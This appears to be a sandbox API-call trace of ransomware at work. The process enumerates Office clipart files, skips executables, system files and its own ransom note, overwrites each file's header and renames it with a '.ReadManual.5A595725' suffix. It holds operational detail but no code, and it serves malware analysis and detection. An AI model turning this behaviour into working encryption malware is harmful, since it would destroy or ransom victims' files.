[0263.048] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.048] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38371695853) returned 1 [0263.048] CloseHandle (hObject=0x184) returned 1 [0263.048] SetSecurityInfo () returned 0x57 [0263.048] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.048] CloseHandle (hObject=0x194) returned 1 [0263.048] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1 [0263.048] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FINCL_02.MID" | out: lpString1="FINCL_02.MID") returned="FINCL_02.MID" [0263.048] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="RecoveryManual.html") returned -1 [0263.049] StrStrIW (lpFirst="FINCL_02.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.049] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0263.049] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0263.049] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0263.049] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0263.049] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0263.049] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0263.049] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0263.049] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0263.049] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0263.049] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0263.049] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0263.049] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0263.049] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0263.049] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0263.049] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" [0263.049] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.ReadManual.5A595725" [0263.049] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.ReadManual.5A595725") returned 87 [0263.049] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38371782993) returned 1 [0263.049] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 0x20 [0263.050] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.050] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9318) returned 1 [0263.050] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2466, lpName=0x0) returned 0x184 [0263.050] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.051] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.051] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.053] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.053] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2466) returned 0x2f0000 [0263.053] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.053] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38372221647) returned 1 [0263.053] CloseHandle (hObject=0x184) returned 1 [0263.054] SetSecurityInfo () returned 0x57 [0263.054] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.054] CloseHandle (hObject=0x194) returned 1 [0263.054] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1 [0263.054] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FLAP.WMF" | out: lpString1="FLAP.WMF") returned="FLAP.WMF" [0263.054] lstrcmpiW (lpString1="FLAP.WMF", lpString2="RecoveryManual.html") returned -1 [0263.054] StrStrIW (lpFirst="FLAP.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.054] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.054] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.054] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.054] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.054] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.054] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.054] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.054] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.054] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.054] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.054] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.054] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.054] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.054] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.054] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" [0263.054] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.ReadManual.5A595725" [0263.054] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.ReadManual.5A595725") returned 83 [0263.054] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38372309554) returned 1 [0263.054] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 0x20 [0263.055] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.055] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2070) returned 1 [0263.055] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x816, lpName=0x0) returned 0x184 [0263.055] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xb6) returned 1 [0263.056] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.056] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.058] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.058] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x816) returned 0x2f0000 [0263.058] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.058] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38372695596) returned 1 [0263.058] CloseHandle (hObject=0x184) returned 1 [0263.058] SetSecurityInfo () returned 0x57 [0263.058] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.058] CloseHandle (hObject=0x194) returned 1 [0263.058] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0263.059] lstrcpyW (in: lpString1=0x6ab90a, lpString2="GRDEN_01.MID" | out: lpString1="GRDEN_01.MID") returned="GRDEN_01.MID" [0263.059] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="RecoveryManual.html") returned -1 [0263.059] StrStrIW (lpFirst="GRDEN_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.059] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0263.059] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0263.059] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0263.059] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0263.059] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0263.059] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0263.059] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0263.059] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0263.059] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0263.059] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0263.059] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0263.059] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0263.059] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0263.059] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0263.059] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" [0263.059] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.ReadManual.5A595725" [0263.059] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.ReadManual.5A595725") returned 87 [0263.059] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38372793035) returned 1 [0263.059] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 0x20 [0263.060] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.060] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7567) returned 1 [0263.060] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d8f, lpName=0x0) returned 0x184 [0263.060] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.061] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.061] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.063] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.063] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d8f) returned 0x2f0000 [0263.063] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.063] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38373224381) returned 1 [0263.064] CloseHandle (hObject=0x184) returned 1 [0263.064] SetSecurityInfo () returned 0x57 [0263.064] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.064] CloseHandle (hObject=0x194) returned 1 [0263.064] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1 [0263.064] lstrcpyW (in: lpString1=0x6ab90a, lpString2="GRID_01.MID" | out: lpString1="GRID_01.MID") returned="GRID_01.MID" [0263.064] lstrcmpiW (lpString1="GRID_01.MID", lpString2="RecoveryManual.html") returned -1 [0263.064] StrStrIW (lpFirst="GRID_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.064] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0263.064] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0263.064] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0263.064] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0263.064] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0263.064] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0263.064] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0263.064] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0263.064] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0263.064] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0263.064] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0263.064] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0263.064] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0263.064] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0263.064] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" [0263.064] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.ReadManual.5A595725" [0263.064] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.ReadManual.5A595725") returned 86 [0263.064] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38373308773) returned 1 [0263.064] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 0x20 [0263.065] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.065] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6331) returned 1 [0263.065] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18bb, lpName=0x0) returned 0x184 [0263.065] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbc) returned 1 [0263.066] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.066] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.068] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.068] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18bb) returned 0x2f0000 [0263.068] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.068] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38373685072) returned 1 [0263.068] CloseHandle (hObject=0x184) returned 1 [0263.068] SetSecurityInfo () returned 0x57 [0263.068] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.068] CloseHandle (hObject=0x194) returned 1 [0263.068] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ce600, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x636ce600, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1 [0263.068] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00057_.WMF" | out: lpString1="HH00057_.WMF") returned="HH00057_.WMF" [0263.068] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.069] StrStrIW (lpFirst="HH00057_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.069] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.069] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.069] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.069] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.069] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.069] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.069] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.069] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.069] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.069] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.069] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.069] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.069] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.069] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.069] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" [0263.069] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.ReadManual.5A595725" [0263.069] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.ReadManual.5A595725") returned 87 [0263.069] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38373787353) returned 1 [0263.069] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x20 [0263.070] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.070] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3764) returned 1 [0263.070] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xeb4, lpName=0x0) returned 0x184 [0263.070] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.071] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.071] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.073] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.073] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xeb4) returned 0x2f0000 [0263.073] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.073] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38374195200) returned 1 [0263.073] CloseHandle (hObject=0x184) returned 1 [0263.073] SetSecurityInfo () returned 0x57 [0263.073] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.073] CloseHandle (hObject=0x194) returned 1 [0263.073] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af3b00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0af3b00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1 [0263.074] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00084_.WMF" | out: lpString1="HH00084_.WMF") returned="HH00084_.WMF" [0263.074] lstrcmpiW (lpString1="HH00084_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.074] StrStrIW (lpFirst="HH00084_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.074] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.074] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.074] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.074] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.074] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.074] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.074] StrCmpIW (psz1="WMF", psz2="cat") returned 1 